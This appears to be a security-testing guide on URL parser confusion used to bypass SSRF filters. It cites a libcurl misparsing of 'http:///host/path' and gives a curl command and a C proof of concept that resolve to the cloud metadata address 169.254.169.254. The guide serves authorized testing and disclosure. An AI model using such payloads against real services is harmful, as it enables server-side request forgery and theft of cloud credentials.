url-parser-confusion-testing

URL Parser Confusion & SSRF Filter Bypass

Different URL parsers disagree on how to interpret malformed URLs. When an application validates with one parser and fetches with another (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → Server-Side Request Forgery (SSRF). Targets must be within the scope of the engagement you are authorized to test.

When to Use

• URL validation, webhook inputs, and proxy/fetch endpoints (/fetch?url=..., /preview?url=..., /webhook)
• Hostname allowlist / denylist bypass assessments
• Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)
• SSRF filter bypass assessments for cloud metadata endpoints (169.254.169.254, metadata.google.internal) or internal network ranges (10.0.0.0/8, 127.0.0.1)
• Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic

Reference Case: HackerOne #3923212 (curl URL API)

libcurl's parseurl() in lib/urlapi.c misparses http:///host/path. Per RFC 3986 the authority between // and / is empty, so /host/path is the path. libcurl instead treats the first path segment as the hostname (slash counter reaches 3, hostp is set to whatever follows the third slash).

# curl CLI reproduction (path becomes hostname)
curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/
# -> http://169.254.169.254/latest/meta-data/

# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
  CURLU *u = curl_url();
  curl_url_set(u, CURLUPART_URL,
               "http:///169.254.169.254/latest/meta-data/", 0);
  char *host = NULL, *path = NULL;
  curl_url_get(u, CURLUPART_HOST, &host, 0);
  curl_url_get(u, CURLUPART_PATH, &path, 0);
  printf("host=%s path=%s\n", host, path);   // host=169.254.169.254
  curl_free(host); curl_free(path); curl_url_cleanup(u);
  return 0;
}